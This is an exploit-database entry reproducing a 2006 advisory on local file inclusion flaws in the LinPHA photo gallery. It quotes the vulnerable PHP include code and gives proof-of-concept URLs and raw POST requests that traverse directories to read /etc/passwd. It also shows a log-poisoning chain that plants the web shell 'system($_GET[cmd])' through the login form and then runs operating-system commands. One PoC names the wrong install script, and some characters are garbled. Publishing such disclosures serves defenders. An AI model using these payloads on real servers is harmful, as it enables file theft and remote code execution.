Exploitalert - Database of Exploits

Linpha <= 1.0 multiple arbitrary local inclusion

CVE	Category	Price	Severity
CVE-2010-0424	CWE-22	$500	High

Author	Risk	Exploitation Type	Date
Unknown	High	Local	2006-02-15

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope		S	An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality	Low	C	There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity	Low	I	Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability	Low	A	There is reduced performance or interruptions in resource availability. However, the attacker does not have the ability to completely prevent access to the resources or services; the impact is limited.

http://cxsecurity.com/ascii/WLB-2006020035

------------- Linpha multiple arbitrary local inclusion ----------------- software: site: http://linpha.sourceforge.net/nuke/ description: " LinPHA is an easy to use, multilingual, flexible photo / image archive / album / gallery written in PHP. It uses a SQL database to store information about your pictures." ------------------------------------------------------------------------ -------- i) vulnerable code in docs/index.php at lines 28 - 41: ... if(isset($_GET['lang']))// come from install pages { $include_lang = $_GET['lang']; } elseif(file_exists(TOP_DIR.'/sql/db_connect.php')) { include_once(TOP_DIR.'/functions/db_api.php'); $include_lang = get_language(); } else { $include_lang = get_http_accept_lang(); } include_once(TOP_DIR.'/lang/lang.'.$include_lang.'.php'); ... well, you can include an arbitrary php file from local resources, poc: http://[target]/[host]/docs/index.php?lang=/../../../../../../../../../. ./test and, if magic_quotes_gpc = Off, any file: http://[target]/[host]/docs/index.php?lang=/../../../../../../../../../. ./etc/passwd%00 ------------------------------------------------------------------------ -------- ii) install directory is not removed after installation, you cannot use files to modify settings but we have arbitrary local inclusion issues in several files: ------------------------------------------------------------------------ -- ii.a) vulnerable code in install/install.php at lines 26-36: ... if (@$_GET['language']) { $lang=$_GET['language']; } else if (@$_POST['language']) { $lang=$_POST['language']; } else if ($http_accept_lang) { $lang = $http_accept_lang; } else { $lang="English"; } include_once(TOP_DIR.'/lang/lang.'.$lang.'.php'); ... poc: http://[target]/[path]/install/install.php?language=/../../../../../../. ./test if magic_quotes_gpc = Off: http://[target]/[path]/install/install.php?language=/../../sql/tmp/linph a.log%00 ------------------------------------------------------------------------ -- ii.b) vulnerable code in install/sec_stage_install.php at lines 22-31: ... switch($_GET['whatlang']) { case 1: include_once(TOP_DIR.'/lang/lang.'.@$_GET['language'].'.php'); break; default: include_once(TOP_DIR.'/lang/lang.English.php'); break; } ... poc: http://[target]/[path]/install/sec_stage_install.php?whatlang=1&language =/../../../../../../../test if magic_quotes_gpc = Off: http://[target]/[path]/install/sec_stage_install.php?whatlang=1&language =/../../../../../../../etc/passwd%00 ------------------------------------------------------------------------ -- ii.c) vulnerable code in install/third_stage_install.php at line 22: ... include_once(TOP_DIR.'/lang/lang.'.$_GET['language'].'.php'); ... poc: http://[target]/[path]/install/sec_stage_install.php?language=/../../../ ../../../../test if magic_quotes_gpc = Off: http://[target]/[path]/install/sec_stage_install.php?language=/../../../ ../../../../etc/passwd%00 ------------------------------------------------------------------------ -- ii.d) vulnerable code in install/forth_stage_install.php at line 22: ... include_once(TOP_DIR.'/lang/lang.'.$_POST['language'].'.php'); ... poc: POST [path]install/forth_stage_install.php HTTP/1.1rn"; Host: [somehost] Content-Type: application/x-www-form-urlencoded Content-Length: [data_length] User-Agent: GameBoy, Powered by Nintendo Connection: Close language=/../../../../../../../../test if magic_quotes_gpc = Off: POST [path]install/forth_stage_install.php HTTP/1.1rn"; Host: [somehost] Content-Type: application/x-www-form-urlencoded Content-Length: [data_length] User-Agent: Sun-Tzu Connection: Close language=/../../../../../../../../etc/passwd%00 ------------------------------------------------------------------------ -------- iii) if "user login events log" is set to "file" in Linpha administration (not the default) a remote user can inject arbitrary code in sql/tmp/linpha.log poc: try to login with username: <?php system($_GET[cmd]);?> and password: [whatever] now in sql/tmp/linpha.log we have something like this: USER | ERROR | 20060211 035519 | 192.168.1.5 | User <?php system($_GET[cmd]);?>: login failed! now, if magic_quotes_gpc = Off on target system, you can launch operating system commands, poc: http://[target]/[path]/docs/index.php?cmd=ls%20-laŒ©=/../../sql/tmp/l inpha.log%00 (same technique with install dir scripts...) ------------------------------------------------------------------------ -------- rgod site: http://retrogod.altervista.org mail: rgod at autistici org original adivsory: http://retrogod.altervista.org/linpha_10_local.html ------------------------------------------------------------------------ --------

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